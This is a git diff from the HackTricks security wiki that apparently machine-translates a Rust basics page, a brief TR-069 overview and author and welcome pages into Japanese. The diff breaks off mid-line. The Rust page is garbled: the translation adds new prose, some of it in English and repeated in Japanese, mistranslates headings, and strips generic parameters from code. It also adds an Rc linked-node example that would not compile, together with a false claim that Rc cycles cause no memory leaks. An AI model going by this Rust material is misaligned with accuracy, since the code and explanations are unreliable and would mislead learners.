Family**](https://opensea.io/collection/the-peass-family)をご覧ください。当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/todo/rust-basics.md b/todo/rust-basics.md index 379be1502..a4550ab38 100644 --- a/todo/rust-basics.md +++ b/todo/rust-basics.md @@ -1,68 +1,107 @@ -# Rust Basics +# Rustの基礎 -### Generic Types - -Create a struct where 1 of their values could be any type +### ジェネリック型 +任意の型を持つことができる値を持つ構造体を作成します。 ```rust struct Wrapper { - value: T, +value: T, } impl Wrapper { - pub fn new(value: T) -> Self { - Wrapper { value } - } +pub fn new(value: T) -> Self { +Wrapper { value } +} } Wrapper::new(42).value Wrapper::new("Foo").value, "Foo" ``` - ### Option, Some & None -The Option type means that the value might by of type Some (there is something) or None: - +Option型は、値がSome(何かがある)またはNoneの型である可能性があることを意味します。 ```rust pub enum Option { - None, - Some(T), +None, +Some(T), } ``` +### マクロ -You can use functions such as `is_some()` or `is_none()` to check the value of the Option. - -### Macros - -Macros are more powerful than functions because they expand to produce more code than the code you’ve written manually. For example, a function signature must declare the number and type of parameters the function has. Macros, on the other hand, can take a variable number of parameters: we can call `println!("hello")` with one argument or `println!("hello {}", name)` with two arguments. Also, macros are expanded before the compiler interprets the meaning of the code, so a macro can, for example, implement a trait on a given type. A function can’t, because it gets called at runtime and a trait needs to be implemented at compile time. - +マクロは、手動で書いたコードよりも多くのコードを生成するため、関数よりも強力です。たとえば、関数のシグネチャは、関数が持つパラメータの数と型を宣言する必要があります。一方、マクロは可変長のパラメータを取ることができます。たとえば、`println!("hello")`を1つの引数で呼び出すことも、`println!("hello {}", name)`を2つの引数で呼び出すこともできます。また、マクロはコンパイラがコードの意味を解釈する前に展開されるため、マクロは、例えば、与えられた型に対してトレイトを実装することができます。関数はできません。なぜなら、関数は実行時に呼び出され、トレイトはコンパイル時に実装する必要があるからです。 ```rust macro_rules! my_macro { - () => { - println!("Check out my macro!"); - }; - ($val:expr) => { - println!("Look at this other macro: {}", $val); - } +() => { +println!("Check out my macro!"); +}; +($val:expr) => { +println!("Look at this other macro: {}", $val); +} } fn main() { - my_macro!(); - my_macro!(7777); +my_macro!(); +my_macro!(7777); } // Export a macro from a module mod macros { - #[macro_export] - macro_rules! my_macro { - () => { - println!("Check out my macro!"); - }; +#[macro_export] +macro_rules! my_macro { +() => { +println!("Check out my macro!"); +}; +} +} +``` +### 繰り返す + +繰り返しは、プログラムで同じ処理を複数回実行するための重要な概念です。Rustでは、いくつかの方法で繰り返しを実現することができます。 + +#### ループ + +最も基本的な繰り返し方法は、`loop`キーワードを使用した無限ループです。このループは、明示的な終了条件がない限り、永遠に続きます。ループ内のコードは、`break`ステートメントを使用して手動で終了する必要があります。 + +```rust +loop { + // 繰り返し実行するコード + if condition { + break; } } ``` -### Iterate +#### whileループ +`while`ループは、指定した条件が真の間、繰り返しを実行します。条件が偽になると、ループは終了します。 + +```rust +while condition { + // 繰り返し実行するコード +} +``` + +#### forループ + +`for`ループは、イテレータを使用して要素のコレクションを繰り返し処理します。イテレータは、要素を1つずつ返し、コレクションの終端に達するとループを終了します。 + +```rust +for item in collection { + // 繰り返し実行するコード +} +``` + +#### イテレータメソッド + +Rustでは、イテレータに対してさまざまなメソッドを使用して繰り返し処理を行うことができます。これには、`map`、`filter`、`fold`などのメソッドがあります。これらのメソッドを使用することで、より高度な繰り返し処理を実現することができます。 + +```rust +collection.iter() + .map(|item| item * 2) + .filter(|item| item > 10) + .fold(0, |acc, item| acc + item); +``` + +繰り返しは、プログラムの効率的な実行やデータの処理において非常に重要です。Rustの繰り返し機能を理解し、適切に活用することで、より効果的なコードを書くことができます。 ```rust // Iterate through a vector let my_fav_fruits = vec!["banana", "raspberry"]; @@ -70,7 +109,7 @@ let mut my_iterable_fav_fruits = my_fav_fruits.iter(); assert_eq!(my_iterable_fav_fruits.next(), Some(&"banana")); assert_eq!(my_iterable_fav_fruits.next(), Some(&"raspberry")); assert_eq!(my_iterable_fav_fruits.next(), None); // When it's over, it's none - + // One line iteration with action my_fav_fruits.iter().map(|x| capitalize_first(x)).collect() @@ -79,113 +118,351 @@ for (key, hashvalue) in &*map { for key in map.keys() { for value in map.values() { ``` +### 再帰的なボックス -### Recursive Box +A recursive box is a data structure that contains a reference to itself. This can be useful in certain situations where you need to create a data structure that has a recursive relationship. + +To create a recursive box in Rust, you can use the `Rc` (reference counting) type provided by the standard library. The `Rc` type allows multiple ownership of a value and keeps track of the number of references to that value. This is useful when you want to create a data structure that can be shared and mutated by multiple parts of your program. + +Here's an example of how you can create a recursive box using `Rc`: +```rust +use std::rc::Rc; + +struct Node { + value: i32, + next: Option>, +} + +fn main() { + let node1 = Rc::new(Node { + value: 1, + next: None, + }); + + let node2 = Rc::new(Node { + value: 2, + next: Some(Rc::clone(&node1)), + }); + + // Update the next field of node1 to point to node2 + if let Some(ref next) = node1.next { + let mut next_mut = Rc::make_mut(next); + next_mut.next = Some(Rc::clone(&node2)); + } + + // Print the values of the nodes + println!("Node 1: {}", node1.value); + println!("Node 2: {}", node2.value); +} +``` + +In this example, we create two `Node` instances, `node1` and `node2`. `node1` has a `next` field that is initially set to `None`, while `node2` has a `next` field that points to `node1` using `Rc::clone`. We then update the `next` field of `node1` to point to `node2` using `Rc::make_mut`. + +By using `Rc`, we can create a recursive relationship between the two nodes without causing any memory leaks. The reference counting mechanism ensures that the memory is deallocated correctly when there are no more references to a value. + +再帰的なボックスは、自身への参照を含むデータ構造です。これは、再帰的な関係を持つデータ構造を作成する必要がある特定の状況で役立ちます。 + +Rustでは、標準ライブラリで提供される`Rc`(参照カウント)型を使用して、再帰的なボックスを作成することができます。`Rc`型は、値の複数の所有権を許可し、その値への参照の数を追跡します。これは、プログラムの複数の部分で共有および変更可能なデータ構造を作成したい場合に便利です。 + +以下は、`Rc`を使用して再帰的なボックスを作成する例です: + +```rust +use std::rc::Rc; + +struct Node { + value: i32, + next: Option>, +} + +fn main() { + let node1 = Rc::new(Node { + value: 1, + next: None, + }); + + let node2 = Rc::new(Node { + value: 2, + next: Some(Rc::clone(&node1)), + }); + + // node1のnextフィールドをnode2を指すように更新する + if let Some(ref next) = node1.next { + let mut next_mut = Rc::make_mut(next); + next_mut.next = Some(Rc::clone(&node2)); + } + + // ノードの値を表示する + println!("Node 1: {}", node1.value); + println!("Node 2: {}", node2.value); +} +``` + +この例では、`node1`と`node2`の2つの`Node`インスタンスを作成します。`node1`は最初に`None`に設定された`next`フィールドを持ち、`node2`は`Rc::clone`を使用して`node1`を指す`next`フィールドを持ちます。次に、`Rc::make_mut`を使用して`node1`の`next`フィールドを`node2`を指すように更新します。 + +`Rc`を使用することで、メモリリークを引き起こすことなく、2つのノード間に再帰的な関係を作成することができます。参照カウントメカニズムにより、値への参照がなくなった場合にメモリが正しく解放されます。 ```rust enum List { - Cons(i32, List), - Nil, +Cons(i32, List), +Nil, } let list = Cons(1, Cons(2, Cons(3, Nil))); ``` +#### もし -### Conditionals - -#### if +`if` statements are used to execute a block of code only if a certain condition is true. The syntax for an `if` statement in Rust is as follows: ```rust -let n = 5; -if n < 0 { - print!("{} is negative", n); -} else if n > 0 { - print!("{} is positive", n); -} else { - print!("{} is zero", n); +if condition { + // code to be executed if the condition is true } ``` -#### match +The `condition` is an expression that evaluates to either `true` or `false`. If the condition is `true`, the code block inside the `if` statement will be executed. If the condition is `false`, the code block will be skipped. + +Here's an example: +```rust +fn main() { + let number = 5; + + if number > 0 { + println!("The number is positive"); + } +} +``` + +In this example, the code inside the `if` statement will be executed because the condition `number > 0` is true. The output will be `The number is positive`. + +#### もし + +`if`文は、特定の条件が真の場合にのみコードブロックを実行するために使用されます。Rustにおける`if`文の構文は次のようになります。 + +```rust +if 条件 { + // 条件が真の場合に実行されるコード +} +``` + +`条件`は、`true`または`false`のいずれかに評価される式です。条件が`true`の場合、`if`文内のコードブロックが実行されます。条件が`false`の場合、コードブロックはスキップされます。 + +以下に例を示します。 + +```rust +fn main() { + let number = 5; + + if number > 0 { + println!("The number is positive"); + } +} +``` + +この例では、条件`number > 0`が真であるため、`if`文内のコードが実行されます。出力は`The number is positive`となります。 +```rust +let n = 5; +if n < 0 { +print!("{} is negative", n); +} else if n > 0 { +print!("{} is positive", n); +} else { +print!("{} is zero", n); +} +``` +#### マッチ + +The `match` expression in Rust is used for pattern matching. It allows you to compare a value against a series of patterns and execute different code based on the pattern that matches. The syntax for `match` is as follows: + +```rust +match value { + pattern1 => { + // code to execute if pattern1 matches + }, + pattern2 => { + // code to execute if pattern2 matches + }, + // more patterns... + _ => { + // code to execute if no pattern matches + } +} +``` + +In the above code, `value` is the value that you want to match against the patterns. Each pattern is followed by a `=>` symbol, and the code to execute if the pattern matches is enclosed in curly braces `{}`. The `_` pattern is a catch-all pattern that matches any value. + +The `match` expression is often used in Rust to handle different cases or branches of code based on the value of a variable. It is a powerful tool for writing concise and expressive code. ```rust match number { - // Match a single value - 1 => println!("One!"), - // Match several values - 2 | 3 | 5 | 7 | 11 => println!("This is a prime"), - // TODO ^ Try adding 13 to the list of prime values - // Match an inclusive range - 13..=19 => println!("A teen"), - // Handle the rest of cases - _ => println!("Ain't special"), +// Match a single value +1 => println!("One!"), +// Match several values +2 | 3 | 5 | 7 | 11 => println!("This is a prime"), +// TODO ^ Try adding 13 to the list of prime values +// Match an inclusive range +13..=19 => println!("A teen"), +// Handle the rest of cases +_ => println!("Ain't special"), } let boolean = true; // Match is an expression too let binary = match boolean { - // The arms of a match must cover all the possible values - false => 0, - true => 1, - // TODO ^ Try commenting out one of these arms +// The arms of a match must cover all the possible values +false => 0, +true => 1, +// TODO ^ Try commenting out one of these arms }; ``` +#### ループ(無限) -#### loop (infinite) +An infinite loop is a loop that continues indefinitely without a specific termination condition. It is often used in programming to repeat a certain block of code until a certain condition is met or until the program is manually interrupted. + +In Rust, you can create an infinite loop using the `loop` keyword. Here's an example: ```rust loop { - count += 1; - if count == 3 { - println!("three"); - continue; - } - println!("{}", count); - if count == 5 { - println!("OK, that's enough"); + // Code to be repeated indefinitely +} +``` + +To exit the loop, you can use the `break` keyword. For example, if you want to exit the loop when a certain condition is met, you can do the following: + +```rust +loop { + // Code to be repeated indefinitely + + if condition { break; } } ``` +In this example, the loop will continue until the `condition` is true, at which point it will break out of the loop and continue with the rest of the program. +```rust +loop { +count += 1; +if count == 3 { +println!("three"); +continue; +} +println!("{}", count); +if count == 5 { +println!("OK, that's enough"); +break; +} +} +``` #### while +`while`文は、指定した条件が真である限り、繰り返し実行するための制御構造です。 + ```rust -let mut n = 1; -while n < 101 { - if n % 15 == 0 { - println!("fizzbuzz"); - } else if n % 5 == 0 { - println!("buzz"); - } else { - println!("{}", n); - } - n += 1; +while 条件 { + // 実行するコード } ``` -#### for +上記のコードでは、`条件`が真である限り、`// 実行するコード`が繰り返し実行されます。 + +例えば、1から10までの数値を出力するプログラムを作成する場合、以下のように`while`文を使用することができます。 +```rust +let mut i = 1; + +while i <= 10 { + println!("{}", i); + i += 1; +} +``` + +上記のコードでは、変数`i`が1から10までの範囲である限り、`println!("{}", i);`が繰り返し実行されます。`i += 1;`は、`i`の値を1ずつ増やすためのコードです。 + +このように、`while`文を使用することで、特定の条件が満たされるまでコードを繰り返し実行することができます。 +```rust +let mut n = 1; +while n < 101 { +if n % 15 == 0 { +println!("fizzbuzz"); +} else if n % 5 == 0 { +println!("buzz"); +} else { +println!("{}", n); +} +n += 1; +} +``` +#### for + +#### for + +`for` is a control flow statement in Rust that allows you to iterate over a collection of items. It is commonly used to perform a set of operations on each item in the collection. + +The basic syntax of a `for` loop in Rust is as follows: + +```rust +for item in collection { + // code to be executed for each item +} +``` + +Here, `item` is a variable that represents each item in the collection, and `collection` is the collection of items to iterate over. + +You can use the `for` loop with various types of collections, such as arrays, vectors, and ranges. For example, you can iterate over an array of numbers like this: + +```rust +let numbers = [1, 2, 3, 4, 5]; + +for number in numbers { + println!("Number: {}", number); +} +``` + +This will print each number in the array. + +You can also use the `for` loop with ranges to iterate over a sequence of numbers. For example: + +```rust +for number in 1..=5 { + println!("Number: {}", number); +} +``` + +This will print the numbers from 1 to 5. + +In addition to iterating over collections, you can use the `for` loop with iterators. Iterators are Rust's way of representing a sequence of values. You can create an iterator using the `iter` method on a collection. For example: + +```rust +let numbers = vec![1, 2, 3, 4, 5]; + +for number in numbers.iter() { + println!("Number: {}", number); +} +``` + +This will print each number in the vector. + +The `for` loop is a powerful tool for iterating over collections and performing operations on each item. It is a fundamental concept in Rust programming and is widely used in various applications. ```rust for n in 1..101 { - if n % 15 == 0 { - println!("fizzbuzz"); - } else { - println!("{}", n); - } +if n % 15 == 0 { +println!("fizzbuzz"); +} else { +println!("{}", n); +} } // Use "..=" to make inclusive both ends for n in 1..=100 { - if n % 15 == 0 { - println!("fizzbuzz"); - } else if n % 3 == 0 { - println!("fizz"); - } else if n % 5 == 0 { - println!("buzz"); - } else { - println!("{}", n); - } +if n % 15 == 0 { +println!("fizzbuzz"); +} else if n % 3 == 0 { +println!("fizz"); +} else if n % 5 == 0 { +println!("buzz"); +} else { +println!("{}", n); +} } // ITERATIONS @@ -193,126 +470,193 @@ for n in 1..=100 { let names = vec!["Bob", "Frank", "Ferris"]; //iter - Doesn't consume the collection for name in names.iter() { - match name { - &"Ferris" => println!("There is a rustacean among us!"), - _ => println!("Hello {}", name), - } +match name { +&"Ferris" => println!("There is a rustacean among us!"), +_ => println!("Hello {}", name), +} } //into_iter - COnsumes the collection for name in names.into_iter() { - match name { - "Ferris" => println!("There is a rustacean among us!"), - _ => println!("Hello {}", name), - } +match name { +"Ferris" => println!("There is a rustacean among us!"), +_ => println!("Hello {}", name), +} } //iter_mut - This mutably borrows each element of the collection for name in names.iter_mut() { - *name = match name { - &mut "Ferris" => "There is a rustacean among us!", - _ => "Hello", +*name = match name { +&mut "Ferris" => "There is a rustacean among us!", +_ => "Hello", +} +} +``` +#### もし let + +`if let`は、Rustの制御フローの一部であり、特定のパターンに一致する場合にのみコードを実行するために使用されます。 + +```rust +if let Some(value) = optional_value { + // `optional_value`が`Some`の場合にのみ実行されるコード +} +``` + +このコードは、`optional_value`が`Some`の場合にのみ実行されます。`optional_value`が`None`の場合は、コードは実行されません。 + +`if let`は、`match`文の短縮形としても使用できます。以下は、`match`文と同等の動作をする`if let`の例です。 + +```rust +match optional_value { + Some(value) => { + // `optional_value`が`Some`の場合に実行されるコード + }, + None => { + // `optional_value`が`None`の場合に実行されるコード } } ``` -#### if let - +`if let`は、特定のパターンに一致する場合にのみコードを実行するため、コードをより簡潔にするのに役立ちます。 ```rust let optional_word = Some(String::from("rustlings")); if let word = optional_word { - println!("The word is: {}", word); +println!("The word is: {}", word); } else { - println!("The optional word doesn't contain anything"); +println!("The optional word doesn't contain anything"); +} +``` +#### while let + +`while let`は、Rustの制御フローの一部であり、パターンマッチングを使用して値を取り出すための短縮形です。この構文は、特定の条件が満たされる限り、ループを継続します。 + +以下は、`while let`の基本的な構文です。 + +```rust +while let Some(value) = some_option { + // valueを使用して何かを行う } ``` -#### while let +このコードでは、`some_option`が`Some`である限り、ループが継続します。`Some`の値が`value`にバインドされ、ループの本体で使用できます。 +`while let`は、特にイテレータを処理する際に便利です。イテレータは、次の要素が存在する限り、`Some`を返し、終了時には`None`を返します。`while let`を使用することで、イテレータの要素を順番に処理することができます。 + +```rust +let numbers = vec![1, 2, 3, 4, 5]; +let mut iter = numbers.iter(); + +while let Some(number) = iter.next() { + // numberを使用して何かを行う +} +``` + +この例では、`numbers`ベクタの要素を順番に処理するために`while let`を使用しています。`iter.next()`は、次の要素が存在する限り`Some`を返し、`number`にバインドされます。 + +`while let`は、特定の条件が満たされる限りループを継続するため、柔軟な制御フローを実現するのに役立ちます。 ```rust let mut optional = Some(0); // This reads: "while `let` destructures `optional` into // `Some(i)`, evaluate the block (`{}`). Else `break`. while let Some(i) = optional { - if i > 9 { - println!("Greater than 9, quit!"); - optional = None; - } else { - println!("`i` is `{:?}`. Try again.", i); - optional = Some(i + 1); - } - // ^ Less rightward drift and doesn't require - // explicitly handling the failing case. +if i > 9 { +println!("Greater than 9, quit!"); +optional = None; +} else { +println!("`i` is `{:?}`. Try again.", i); +optional = Some(i + 1); +} +// ^ Less rightward drift and doesn't require +// explicitly handling the failing case. } ``` - ### Traits -Create a new method for a type - +新しいメソッドを型に作成する ```rust trait AppendBar { - fn append_bar(self) -> Self; +fn append_bar(self) -> Self; } impl AppendBar for String { - fn append_bar(self) -> Self{ - format!("{}Bar", self) - } +fn append_bar(self) -> Self{ +format!("{}Bar", self) +} } let s = String::from("Foo"); let s = s.append_bar(); println!("s: {}", s); ``` +### テスト -### Tests +テストはソフトウェア開発の重要な要素です。テストは、ソフトウェアの品質を確保し、バグを特定し修正するために使用されます。テストは、ソフトウェアの機能やパフォーマンスを検証するために行われます。 +#### ユニットテスト + +ユニットテストは、ソフトウェアの最小単位である関数やメソッドをテストするために使用されます。ユニットテストは、関数やメソッドが正しく動作するかどうかを確認するために、さまざまな入力値を使用してテストケースを作成します。 + +#### 統合テスト + +統合テストは、複数のユニットを組み合わせてテストするために使用されます。統合テストは、ユニット間の相互作用やデータの流れを確認するために行われます。 + +#### 受け入れテスト + +受け入れテストは、ソフトウェアがユーザーの要件を満たしているかどうかを確認するために使用されます。受け入れテストは、ユーザーが実際のシナリオでソフトウェアを使用することによって行われます。 + +#### パフォーマンステスト + +パフォーマンステストは、ソフトウェアのパフォーマンスを評価するために使用されます。パフォーマンステストは、ソフトウェアが所定の負荷条件下でどのように動作するかを確認するために行われます。 + +#### セキュリティテスト + +セキュリティテストは、ソフトウェアのセキュリティを評価するために使用されます。セキュリティテストは、ソフトウェアに存在する脆弱性やセキュリティ上の問題を特定するために行われます。 + +#### 自動化テスト + +自動化テストは、テストプロセスを自動化するために使用されます。自動化テストは、テストの効率性と一貫性を向上させるために使用されます。 ```rust #[cfg(test)] mod tests { - #[test] - fn you_can_assert() { - assert!(true); - assert_eq!(true, true); - assert_ne!(true, false); - } +#[test] +fn you_can_assert() { +assert!(true); +assert_eq!(true, true); +assert_ne!(true, false); +} } ``` - -### Threading +### スレッディング #### Arc -An Arc can use Clone to create more references over the object to pass them to the threads. When the last reference pointer to a value is out of scope, the variable is dropped. - +ArcはCloneを使用して、オブジェクトに対してさらに参照を作成し、それらをスレッドに渡すことができます。最後の参照が値を指す場合、変数はスコープ外になると削除されます。 ```rust use std::sync::Arc; let apple = Arc::new("the same apple"); for _ in 0..10 { - let apple = Arc::clone(&apple); - thread::spawn(move || { - println!("{:?}", apple); - }); +let apple = Arc::clone(&apple); +thread::spawn(move || { +println!("{:?}", apple); +}); } ``` +#### スレッド -#### Threads - -In this case we will pass the thread a variable it will be able to modify - +この場合、スレッドに変数を渡し、それを変更できるようにします。 ```rust fn main() { - let status = Arc::new(Mutex::new(JobStatus { jobs_completed: 0 })); - let status_shared = Arc::clone(&status); - thread::spawn(move || { - for _ in 0..10 { - thread::sleep(Duration::from_millis(250)); - let mut status = status_shared.lock().unwrap(); - status.jobs_completed += 1; - } - }); - while status.lock().unwrap().jobs_completed < 10 { - println!("waiting... "); - thread::sleep(Duration::from_millis(500)); - } +let status = Arc::new(Mutex::new(JobStatus { jobs_completed: 0 })); +let status_shared = Arc::clone(&status); +thread::spawn(move || { +for _ in 0..10 { +thread::sleep(Duration::from_millis(250)); +let mut status = status_shared.lock().unwrap(); +status.jobs_completed += 1; +} +}); +while status.lock().unwrap().jobs_completed < 10 { +println!("waiting... "); +thread::sleep(Duration::from_millis(500)); +} } ``` + diff --git a/todo/tr-069.md b/todo/tr-069.md index ff8a3862f..1cc3f5eb6 100644 --- a/todo/tr-069.md +++ b/todo/tr-069.md @@ -1,2 +1,9 @@ # TR-069 +TR-069(またはCPE WAN Management Protocol)は、インターネットサービスプロバイダ(ISP)が顧客プレミス内のネットワーク機器を遠隔で管理するためのプロトコルです。このプロトコルは、ホームゲートウェイやルーターなどのCPE(Customer Premises Equipment)と、ISPの自動構成サーバーとの間で通信を行います。 + +TR-069は、ISPがCPEを遠隔で管理するための機能を提供します。これにより、ISPはCPEの設定やファームウェアのアップデート、トラブルシューティングなどをリモートで行うことができます。また、TR-069は、CPEがISPのネットワークに接続されると自動的に構成されるため、顧客は手動で設定する必要がありません。 + +TR-069のセキュリティ上の懸念も存在します。攻撃者がTR-069プロトコルを悪用することで、CPEに対する攻撃や不正なアクセスが可能になる可能性があります。したがって、CPEのセキュリティを確保するためには、適切なセキュリティ対策を講じる必要があります。 + +TR-069は、ISPが効率的にネットワーク機器を管理するための重要なプロトコルですが、セキュリティ上のリスクも存在するため、慎重に使用する必要があります。 diff --git a/welcome/about-the-author.md b/welcome/about-the-author.md index 8e9d35e96..a70bbe408 100644 --- a/welcome/about-the-author.md +++ b/welcome/about-the-author.md @@ -1,44 +1,44 @@ -# About the author +# 著者について
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有する**には、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)に**PRを提出**してください。
-### Hello!! +### こんにちは!! -This is **Carlos Polop**. +私は**Carlos Polop**です。 -First of all, I want to indicate that **I don't own this entire book**, a lot of **information was copy/pasted from other websites and that content belongs to them** (this is indicated on the pages). +まず、私は**この本全体を所有していません**。多くの**情報は他のウェブサイトからコピー/ペーストされたものであり、その内容はそれらに帰属します**(これはページに明記されています)。 -I also want to say **thanks to all the people that share cyber-security related information for free** on the Internet. Thanks to them I learn new hacking techniques that then I add to Hacktricks.\ -Moreover, I also **write the results of my own researches** here in HackTricks. +また、**インターネット上で無料でサイバーセキュリティ関連の情報を共有してくれるすべての人々に感謝**したいと思います。彼らのおかげで、私は新しいハッキング技術を学び、それをHacktricksに追加することができます。\ +さらに、私はHackTricksで自分自身の研究結果も**書いています**。 -Therefore, I expect that in **HackTricks** you will find **all** the **security tricks** available on the internet about a **topic** + potentially something **extra**. If you find something is **missing**, please, send a **Pull Request** to Hacktricks Github! +したがって、**HackTricks**では、インターネット上で利用可能な**すべてのセキュリティトリック**を見つけることができるはずです。また、何か**不足している**と感じた場合は、Hacktricks Githubに**プルリクエスト**を送ってください! ### BIO -Just check my **linkedin**: [https://www.linkedin.com/in/carlos-polop-martin/](https://www.linkedin.com/in/carlos-polop-martin/) +私の**LinkedIn**をチェックしてください:[https://www.linkedin.com/in/carlos-polop-martin/](https://www.linkedin.com/in/carlos-polop-martin/) {% hint style="warning" %} -If you find that HackTricks is very useful for you, please consider **supporting it!** +HackTricksが非常に役立つと感じた場合は、**サポートを検討してください!** {% endhint %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有する**には、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)に**PRを提出**してください。
diff --git a/welcome/getting-started-in-hacking.md b/welcome/getting-started-in-hacking.md index a14a8af1d..bae172db9 100644 --- a/welcome/getting-started-in-hacking.md +++ b/welcome/getting-started-in-hacking.md @@ -1,76 +1,72 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- 